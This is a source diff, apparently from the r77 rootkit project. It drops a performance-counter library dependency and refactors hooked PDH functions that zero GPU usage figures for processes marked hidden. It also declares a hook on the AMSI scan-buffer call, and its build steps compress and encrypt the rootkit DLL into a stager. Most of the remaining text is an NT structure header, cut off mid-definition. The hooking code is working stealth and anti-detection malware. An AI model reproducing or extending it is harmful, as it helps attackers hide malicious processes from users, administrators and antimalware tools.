diff --git a/r77-x64/r77-x64.vcxproj b/r77-x64/r77-x64.vcxproj
index 5424529..c15a1e7 100644
--- a/r77-x64/r77-x64.vcxproj
+++ b/r77-x64/r77-x64.vcxproj
@@ -1,70 +1,70 @@
-
-
-
-
- Release
- x64
-
-
-
- 16.0
- Win32Proj
- {06af1d64-f2fc-4767-8794-7313c7bb0a40}
- r77x64
- 10.0
-
-
-
- DynamicLibrary
- false
- v143
- true
- Unicode
-
-
-
-
-
-
-
-
-
-
-
-
-
- false
- false
-
-
-
- Level3
- true
- true
- false
- %(PreprocessorDefinitions)
- true
- MultiThreaded
- false
- MinSpace
- Size
- CompileAsC
-
-
- Windows
- true
- true
- false
- ntdll.lib;shlwapi.lib;taskschd.lib;pdh.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies)
-
-
+
+
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {06af1d64-f2fc-4767-8794-7313c7bb0a40}
+ r77x64
+ 10.0
+
+
+
+ DynamicLibrary
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+ false
+
+
+
+ Level3
+ true
+ true
+ false
+ %(PreprocessorDefinitions)
+ true
+ MultiThreaded
+ false
+ MinSpace
+ Size
+ CompileAsC
+
+
+ Windows
+ true
+ true
+ false
+ ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies)
+
+
mkdir "$(SolutionDir)$Build"
xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName).dll"
-"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt
-
-
-
-
-
+"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt
+
+
+
+
+
\ No newline at end of file
diff --git a/r77-x86/r77-x86.vcxproj b/r77-x86/r77-x86.vcxproj
index 02b3de0..9867c39 100644
--- a/r77-x86/r77-x86.vcxproj
+++ b/r77-x86/r77-x86.vcxproj
@@ -1,70 +1,70 @@
-
-
-
-
- Release
- Win32
-
-
-
- 16.0
- Win32Proj
- {1ba54a13-b390-47b3-9628-b58a2bba193b}
- r77x86
- 10.0
-
-
-
- DynamicLibrary
- false
- v143
- true
- Unicode
-
-
-
-
-
-
-
-
-
-
-
-
-
- false
- false
-
-
-
- Level3
- true
- true
- false
- WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
- true
- MultiThreaded
- false
- MinSpace
- Size
- CompileAsC
-
-
- Windows
- true
- true
- false
- ntdll.lib;shlwapi.lib;taskschd.lib;pdh.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies)
-
-
+
+
+
+
+ Release
+ Win32
+
+
+
+ 16.0
+ Win32Proj
+ {1ba54a13-b390-47b3-9628-b58a2bba193b}
+ r77x86
+ 10.0
+
+
+
+ DynamicLibrary
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+ false
+
+
+
+ Level3
+ true
+ true
+ false
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ MultiThreaded
+ false
+ MinSpace
+ Size
+ CompileAsC
+
+
+ Windows
+ true
+ true
+ false
+ ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies)
+
+
mkdir "$(SolutionDir)$Build"
xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName).dll"
-"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt
-
-
-
-
-
+"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).dll" -compress -encrypt
+
+
+
+
+
\ No newline at end of file
diff --git a/r77/Hooks.c b/r77/Hooks.c
index a875fb0..0aa1109 100644
--- a/r77/Hooks.c
+++ b/r77/Hooks.c
@@ -568,23 +568,23 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
return status;
}
-static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PPDH_RAW_COUNTER_ITEM_W itemBuffer)
+static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer)
{
PDH_STATUS status = OriginalPdhGetRawCounterArrayW(counter, bufferSize, itemCount, itemBuffer);
if (status == ERROR_SUCCESS && itemCount && itemBuffer)
{
DWORD infoBufferSize = 0;
- if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA)
+ if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA)
{
- PPDH_COUNTER_INFO_W info = (PPDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize);
- if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS)
+ PNT_PDH_COUNTER_INFO_W info = (PNT_PDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize);
+ if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS)
{
- if (!StrCmpW(info->szFullPath, L"\\GPU Engine(*)\\Running Time"))
+ if (!StrCmpW(info->FullPath, L"\\GPU Engine(*)\\Running Time"))
{
for (DWORD i = 0; i < *itemCount; i++)
{
- if (GetIsHiddenFromPdhString(itemBuffer[i].szName))
+ if (GetIsHiddenFromPdhString(itemBuffer[i].Name))
{
itemBuffer[i].RawValue.FirstValue = 0;
itemBuffer[i].RawValue.SecondValue = 0;
@@ -600,27 +600,27 @@ static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDW
return status;
}
-static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PPDH_FMT_COUNTERVALUE_ITEM_W itemBuffer)
+static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer)
{
PDH_STATUS status = OriginalPdhGetFormattedCounterArrayW(counter, format, bufferSize, itemCount, itemBuffer);
if (status == ERROR_SUCCESS && itemCount && itemBuffer)
{
DWORD infoBufferSize = 0;
- if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA)
+ if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, NULL) == PDH_MORE_DATA)
{
- PPDH_COUNTER_INFO_W info = (PPDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize);
- if (PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS)
+ PNT_PDH_COUNTER_INFO_W info = (PNT_PDH_COUNTER_INFO_W)NEW_ARRAY(BYTE, infoBufferSize);
+ if (R77_PdhGetCounterInfoW(counter, FALSE, &infoBufferSize, info) == ERROR_SUCCESS)
{
- if (!StrCmpW(info->szFullPath, L"\\GPU Engine(*)\\Utilization Percentage"))
+ if (!StrCmpW(info->FullPath, L"\\GPU Engine(*)\\Utilization Percentage"))
{
for (DWORD i = 0; i < *itemCount; i++)
{
- if (GetIsHiddenFromPdhString(itemBuffer[i].szName))
+ if (GetIsHiddenFromPdhString(itemBuffer[i].Name))
{
- itemBuffer[i].FmtValue.longValue = 0;
- itemBuffer[i].FmtValue.doubleValue = 0;
- itemBuffer[i].FmtValue.largeValue = 0;
+ itemBuffer[i].FmtValue.LongValue = 0;
+ itemBuffer[i].FmtValue.DoubleValue = 0;
+ itemBuffer[i].FmtValue.LargeValue = 0;
}
}
}
diff --git a/r77/Hooks.h b/r77/Hooks.h
index dcf3e05..a40bb74 100644
--- a/r77/Hooks.h
+++ b/r77/Hooks.h
@@ -25,8 +25,8 @@ static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD servi
static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
-static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PPDH_RAW_COUNTER_ITEM_W itemBuffer);
-static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PPDH_FMT_COUNTERVALUE_ITEM_W itemBuffer);
+static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer);
+static PDH_STATUS WINAPI HookedPdhGetFormattedCounterArrayW(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer);
static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result);
static BOOL GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime);
diff --git a/r77api/ntdll.h b/r77api/ntdll.h
index 865f70f..c03010d 100644
--- a/r77api/ntdll.h
+++ b/r77api/ntdll.h
@@ -1,669 +1,753 @@
-#include "r77mindef.h"
-#include
-#ifndef _NTDLL_H
-#define _NTDLL_H
-
-#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L)
-#define PDH_MORE_DATA ((PDH_STATUS)0x800007d2L)
-
-#define SL_RESTART_SCAN 0x01
-#define SL_RETURN_SINGLE_ENTRY 0x02
-#define SL_INDEX_SPECIFIED 0x04
-#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08
-#define SL_NO_CURSOR_UPDATE 0x10
-
-#define DEVICE_NSI L"\\Device\\Nsi"
-#define IOCTL_NSI_GETALLPARAM 0x12001b
-
-typedef enum _NT_SYSTEM_INFORMATION_CLASS
-{
- SystemProcessorInformation = 1,
- SystemPathInformation = 4,
- SystemCallCountInformation = 6,
- SystemDeviceInformation = 7,
- SystemFlagsInformation = 9,
- SystemCallTimeInformation = 10,
- SystemModuleInformation = 11,
- SystemLocksInformation = 12,
- SystemStackTraceInformation = 13,
- SystemPagedPoolInformation = 14,
- SystemNonPagedPoolInformation = 15,
- SystemHandleInformation = 16,
- SystemObjectInformation = 17,
- SystemPageFileInformation = 18,
- SystemVdmInstemulInformation = 19,
- SystemVdmBopInformation = 20,
- SystemFileCacheInformation = 21,
- SystemPoolTagInformation = 22,
- SystemDpcBehaviorInformation = 24,
- SystemFullMemoryInformation = 25,
- SystemLoadGdiDriverInformation = 26,
- SystemUnloadGdiDriverInformation = 27,
- SystemTimeAdjustmentInformation = 28,
- SystemSummaryMemoryInformation = 29,
- SystemMirrorMemoryInformation = 30,
- SystemPerformanceTraceInformation = 31,
- SystemObsolete0 = 32,
- SystemCrashDumpStateInformation = 34,
- SystemKernelDebuggerInformation = 35,
- SystemContextSwitchInformation = 36,
- SystemExtendServiceTableInformation = 38,
- SystemPrioritySeperation = 39,
- SystemVerifierAddDriverInformation = 40,
- SystemVerifierRemoveDriverInformation = 41,
- SystemProcessorIdleInformation = 42,
- SystemLegacyDriverInformation = 43,
- SystemCurrentTimeZoneInformation = 44,
- SystemTimeSlipNotification = 46,
- SystemSessionCreate = 47,
- SystemSessionDetach = 48,
- SystemSessionInformation = 49,
- SystemRangeStartInformation = 50,
- SystemVerifierInformation = 51,
- SystemVerifierThunkExtend = 52,
- SystemSessionProcessInformation = 53,
- SystemLoadGdiDriverInSystemSpace = 54,
- SystemNumaProcessorMap = 55,
- SystemPrefetcherInformation = 56,
- SystemExtendedProcessInformation = 57,
- SystemRecommendedSharedDataAlignment = 58,
- SystemComPlusPackage = 59,
- SystemNumaAvailableMemory = 60,
- SystemProcessorPowerInformation = 61,
- SystemEmulationBasicInformation = 62,
- SystemEmulationProcessorInformation = 63,
- SystemExtendedHandleInformation = 64,
- SystemLostDelayedWriteInformation = 65,
- SystemBigPoolInformation = 66,
- SystemSessionPoolTagInformation = 67,
- SystemSessionMappedViewInformation = 68,
- SystemHotpatchInformation = 69,
- SystemObjectSecurityMode = 70,
- SystemWatchdogTimerHandler = 71,
- SystemWatchdogTimerInformation = 72,
- SystemLogicalProcessorInformation = 73,
- SystemWow64SharedInformationObsolete = 74,
- SystemRegisterFirmwareTableInformationHandler = 75,
- SystemFirmwareTableInformation = 76,
- SystemModuleInformationEx = 77,
- SystemVerifierTriageInformation = 78,
- SystemSuperfetchInformation = 79,
- SystemMemoryListInformation = 80,
- SystemFileCacheInformationEx = 81,
- SystemThreadPriorityClientIdInformation = 82,
- SystemProcessorIdleCycleTimeInformation = 83,
- SystemVerifierCancellationInformation = 84,
- SystemProcessorPowerInformationEx = 85,
- SystemRefTraceInformation = 86,
- SystemSpecialPoolInformation = 87,
- SystemProcessIdInformation = 88,
- SystemErrorPortInformation = 89,
- SystemBootEnvironmentInformation = 90,
- SystemHypervisorInformation = 91,
- SystemVerifierInformationEx = 92,
- SystemTimeZoneInformation = 93,
- SystemImageFileExecutionOptionsInformation = 94,
- SystemCoverageInformation = 95,
- SystemPrefetchPatchInformation = 96,
- SystemVerifierFaultsInformation = 97,
- SystemSystemPartitionInformation = 98,
- SystemSystemDiskInformation = 99,
- SystemProcessorPerformanceDistribution = 100,
- SystemNumaProximityNodeInformation = 101,
- SystemDynamicTimeZoneInformation = 102,
- SystemProcessorMicrocodeUpdateInformation = 104,
- SystemProcessorBrandString = 105,
- SystemVirtualAddressInformation = 106,
- SystemLogicalProcessorAndGroupInformation = 107,
- SystemProcessorCycleTimeInformation = 108,
- SystemStoreInformation = 109,
- SystemRegistryAppendString = 110,
- SystemAitSamplingValue = 111,
- SystemVhdBootInformation = 112,
- SystemCpuQuotaInformation = 113,
- SystemNativeBasicInformation = 114,
- SystemErrorPortTimeouts = 115,
- SystemLowPriorityIoInformation = 116,
- SystemTpmBootEntropyInformation = 117,
- SystemVerifierCountersInformation = 118,
- SystemPagedPoolInformationEx = 119,
- SystemSystemPtesInformationEx = 120,
- SystemNodeDistanceInformation = 121,
- SystemAcpiAuditInformation = 122,
- SystemBasicPerformanceInformation = 123,
- SystemQueryPerformanceCounterInformation = 124,
- SystemSessionBigPoolInformation = 125,
- SystemBootGraphicsInformation = 126,
- SystemScrubPhysicalMemoryInformation = 127,
- SystemBadPageInformation = 128,
- SystemProcessorProfileControlArea = 129,
- SystemCombinePhysicalMemoryInformation = 130,
- SystemEntropyInterruptTimingInformation = 131,
- SystemConsoleInformation = 132,
- SystemPlatformBinaryInformation = 133,
- SystemHypervisorProcessorCountInformation = 135,
- SystemDeviceDataInformation = 136,
- SystemDeviceDataEnumerationInformation = 137,
- SystemMemoryTopologyInformation = 138,
- SystemMemoryChannelInformation = 139,
- SystemBootLogoInformation = 140,
- SystemProcessorPerformanceInformationEx = 141,
- SystemCriticalProcessErrorLogInformation = 142,
- SystemSecureBootPolicyInformation = 143,
- SystemPageFileInformationEx = 144,
- SystemSecureBootInformation = 145,
- SystemEntropyInterruptTimingRawInformation = 146,
- SystemPortableWorkspaceEfiLauncherInformation = 147,
- SystemFullProcessInformation = 148,
- SystemKernelDebuggerInformationEx = 149,
- SystemBootMetadataInformation = 150,
- SystemSoftRebootInformation = 151,
- SystemElamCertificateInformation = 152,
- SystemOfflineDumpConfigInformation = 153,
- SystemProcessorFeaturesInformation = 154,
- SystemRegistryReconciliationInformation = 155,
- SystemEdidInformation = 156,
- SystemManufacturingInformation = 157,
- SystemEnergyEstimationConfigInformation = 158,
- SystemHypervisorDetailInformation = 159,
- SystemProcessorCycleStatsInformation = 160,
- SystemVmGenerationCountInformation = 161,
- SystemTrustedPlatformModuleInformation = 162,
- SystemKernelDebuggerFlags = 163,
- SystemCodeIntegrityPolicyInformation = 164,
- SystemIsolatedUserModeInformation = 165,
- SystemHardwareSecurityTestInterfaceResultsInformation = 166,
- SystemSingleModuleInformation = 167,
- SystemAllowedCpuSetsInformation = 168,
- SystemVsmProtectionInformation = 169,
- SystemInterruptCpuSetsInformation = 170,
- SystemSecureBootPolicyFullInformation = 171,
- SystemCodeIntegrityPolicyFullInformation = 172,
- SystemAffinitizedInterruptProcessorInformation = 173,
- SystemRootSiloInformation = 174,
- SystemCpuSetInformation = 175,
- SystemCpuSetTagInformation = 176,
- SystemWin32WerStartCallout = 177,
- SystemSecureKernelProfileInformation = 178,
- SystemCodeIntegrityPlatformManifestInformation = 179,
- SystemInterruptSteeringInformation = 180,
- SystemSupportedProcessorArchitectures = 181,
- SystemMemoryUsageInformation = 182,
- SystemCodeIntegrityCertificateInformation = 183,
- SystemPhysicalMemoryInformation = 184,
- SystemControlFlowTransition = 185,
- SystemKernelDebuggingAllowed = 186,
- SystemActivityModerationExeState = 187,
- SystemActivityModerationUserSettings = 188,
- SystemCodeIntegrityPoliciesFullInformation = 189,
- SystemCodeIntegrityUnlockInformation = 190,
- SystemIntegrityQuotaInformation = 191,
- SystemFlushInformation = 192,
- SystemProcessorIdleMaskInformation = 193,
- SystemSecureDumpEncryptionInformation = 194,
- SystemWriteConstraintInformation = 195,
- SystemKernelVaShadowInformation = 196,
- SystemHypervisorSharedPageInformation = 197,
- SystemFirmwareBootPerformanceInformation = 198,
- SystemCodeIntegrityVerificationInformation = 199,
- SystemFirmwarePartitionInformation = 200,
- SystemSpeculationControlInformation = 201,
- SystemDmaGuardPolicyInformation = 202,
- SystemEnclaveLaunchControlInformation = 203,
- SystemWorkloadAllowedCpuSetsInformation = 204,
- SystemCodeIntegrityUnlockModeInformation = 205,
- SystemLeapSecondInformation = 206,
- SystemFlags2Information = 207,
- SystemSecurityModelInformation = 208,
- SystemCodeIntegritySyntheticCacheInformation = 209,
- SystemFeatureConfigurationInformation = 210,
- SystemFeatureConfigurationSectionInformation = 211,
- SystemFeatureUsageSubscriptionInformation = 212,
- SystemSecureSpeculationControlInformation = 213
-} NT_SYSTEM_INFORMATION_CLASS;
-
-typedef struct _NT_SYSTEM_PROCESS_INFORMATION
-{
- ULONG NextEntryOffset;
- ULONG NumberOfThreads;
- LARGE_INTEGER WorkingSetPrivateSize;
- ULONG HardFaultCount;
- ULONG NumberOfThreadsHighWatermark;
- ULONGLONG CycleTime;
- LARGE_INTEGER CreateTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER KernelTime;
- UNICODE_STRING ImageName;
- ULONG BasePriority;
- HANDLE ProcessId;
- HANDLE InheritedFromProcessId;
-} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION;
-
-typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
-{
- LARGE_INTEGER IdleTime;
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER DpcTime;
- LARGE_INTEGER InterruptTime;
- ULONG InterruptCount;
-} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
-
-typedef struct _NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION
-{
- ULONGLONG CycleTime;
-} NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, *PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION;
-
-typedef enum _NT_FILE_INFORMATION_CLASS
-{
- FileFullDirectoryInformation = 2,
- FileBothDirectoryInformation,
- FileBasicInformation,
- FileStandardInformation,
- FileInternalInformation,
- FileEaInformation,
- FileAccessInformation,
- FileNameInformation,
- FileRenameInformation,
- FileLinkInformation,
- FileNamesInformation,
- FileDispositionInformation,
- FilePositionInformation,
- FileFullEaInformation,
- FileModeInformation,
- FileAlignmentInformation,
- FileAllInformation,
- FileAllocationInformation,
- FileEndOfFileInformation,
- FileAlternateNameInformation,
- FileStreamInformation,
- FilePipeInformation,
- FilePipeLocalInformation,
- FilePipeRemoteInformation,
- FileMailslotQueryInformation,
- FileMailslotSetInformation,
- FileCompressionInformation,
- FileObjectIdInformation,
- FileCompletionInformation,
- FileMoveClusterInformation,
- FileQuotaInformation,
- FileReparsePointInformation,
- FileNetworkOpenInformation,
- FileAttributeTagInformation,
- FileTrackingInformation,
- FileIdBothDirectoryInformation,
- FileIdFullDirectoryInformation,
- FileValidDataLengthInformation,
- FileShortNameInformation,
- FileIoCompletionNotificationInformation,
- FileIoStatusBlockRangeInformation,
- FileIoPriorityHintInformation,
- FileSfioReserveInformation,
- FileSfioVolumeInformation,
- FileHardLinkInformation,
- FileProcessIdsUsingFileInformation,
- FileNormalizedNameInformation,
- FileNetworkPhysicalNameInformation,
- FileIdGlobalTxDirectoryInformation,
- FileIsRemoteDeviceInformation,
- FileUnusedInformation,
- FileNumaNodeInformation,
- FileStandardLinkInformation,
- FileRemoteProtocolInformation,
- FileRenameInformationBypassAccessCheck,
- FileLinkInformationBypassAccessCheck,
- FileVolumeNameInformation,
- FileIdInformation,
- FileIdExtdDirectoryInformation,
- FileReplaceCompletionInformation,
- FileHardLinkFullIdInformation,
- FileIdExtdBothDirectoryInformation,
- FileMaximumInformation
-} NT_FILE_INFORMATION_CLASS;
-
-typedef struct _NT_FILE_BOTH_DIR_INFORMATION
-{
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- WCHAR FileName[1];
-} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION;
-
-typedef struct _NT_FILE_DIRECTORY_INFORMATION
-{
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION;
-
-typedef struct _NT_FILE_FULL_DIR_INFORMATION
-{
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- WCHAR FileName[1];
-} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION;
-
-typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION
-{
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
-} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION;
-
-typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION
-{
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
-} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION;
-
-typedef struct _NT_FILE_NAMES_INFORMATION
-{
- ULONG NextEntryOffset;
- ULONG FileIndex;
- ULONG FileNameLength;
- WCHAR FileName[1];
-} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION;
-
-typedef enum _NT_KEY_INFORMATION_CLASS
-{
- KeyBasicInformation,
- KeyNodeInformation,
- KeyFullInformation,
- KeyNameInformation
-} NT_KEY_INFORMATION_CLASS;
-
-typedef enum _NT_KEY_VALUE_INFORMATION_CLASS
-{
- KeyValueBasicInformation,
- KeyValueFullInformation,
- KeyValuePartialInformation
-} NT_KEY_VALUE_INFORMATION_CLASS;
-
-typedef struct _NT_KEY_BASIC_INFORMATION
-{
- LARGE_INTEGER LastWriteTime;
- ULONG TitleIndex;
- ULONG NameLength;
- WCHAR Name[1];
-} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION;
-
-typedef struct _NT_KEY_NAME_INFORMATION
-{
- ULONG NameLength;
- WCHAR Name[1];
-} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION;
-
-typedef struct _NT_KEY_VALUE_BASIC_INFORMATION
-{
- ULONG TitleIndex;
- ULONG Type;
- ULONG NameLength;
- WCHAR Name[1];
-} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION;
-
-typedef struct _NT_KEY_VALUE_FULL_INFORMATION
-{
- ULONG TitleIndex;
- ULONG Type;
- ULONG DataOffset;
- ULONG DataLength;
- ULONG NameLength;
- WCHAR Name[1];
-} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION;
-
-typedef enum _NT_NSI_PARAM_TYPE
-{
- NsiUdp = 1,
- NsiTcp = 3
-} NT_NSI_PARAM_TYPE;
-
-typedef struct _NT_NSI_TCP_SUBENTRY
-{
- BYTE Reserved1[2];
- USHORT Port;
- ULONG IpAddress;
- BYTE IpAddress6[16];
- BYTE Reserved2[4];
-} NT_NSI_TCP_SUBENTRY, *PNT_NSI_TCP_SUBENTRY;
-
-typedef struct _NT_NSI_TCP_ENTRY
-{
- NT_NSI_TCP_SUBENTRY Local;
- NT_NSI_TCP_SUBENTRY Remote;
-} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY;
-
-typedef struct _NT_NSI_UDP_ENTRY
-{
- BYTE Reserved1[2];
- USHORT Port;
- ULONG IpAddress;
- BYTE IpAddress6[16];
- BYTE Reserved2[4];
-} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY;
-
-typedef struct _NT_NSI_STATUS_ENTRY
-{
- ULONG State;
- BYTE Reserved[8];
-} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY;
-
-typedef struct _NT_NSI_PROCESS_ENTRY
-{
- ULONG UdpProcessId;
- ULONG Reserved1;
- ULONG Reserved2;
- ULONG TcpProcessId;
- ULONG Reserved3;
- ULONG Reserved4;
- ULONG Reserved5;
- ULONG Reserved6;
-} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY;
-
-typedef struct _NT_NSI_PARAM
-{
- // It was really daunting to figure out the contents of this struct...
- // There are lots of examples online with "LPVOID Unknown1, Unknown2" and so on.
- // However, this should be as close to the actual structure as it gets:
-
- SIZE_T Reserved1;
- SIZE_T Reserved2;
- LPVOID ModuleId;
- NT_NSI_PARAM_TYPE Type;
- ULONG Reserved3;
- ULONG Reserved4;
- LPVOID Entries;
- SIZE_T EntrySize;
- LPVOID Reserved5;
- SIZE_T Reserved6;
- LPVOID StatusEntries;
- SIZE_T StatusEntrySize;
- LPVOID ProcessEntries;
- SIZE_T ProcessEntrySize;
- SIZE_T Count;
-} NT_NSI_PARAM, *PNT_NSI_PARAM;
-
-typedef enum _NT_OBJECT_INFORMATION_CLASS
-{
- ObjectNameInformation = 1,
- ObjectAllInformation = 3,
- ObjectDataInformation = 4
-} NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS;
-
-typedef struct _NT_LDR_DATA_TABLE_ENTRY
-{
